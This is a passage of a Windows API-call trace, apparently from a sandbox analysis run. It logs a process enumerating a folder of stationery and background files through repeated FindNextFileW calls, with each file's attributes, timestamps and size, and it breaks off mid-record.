[0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, 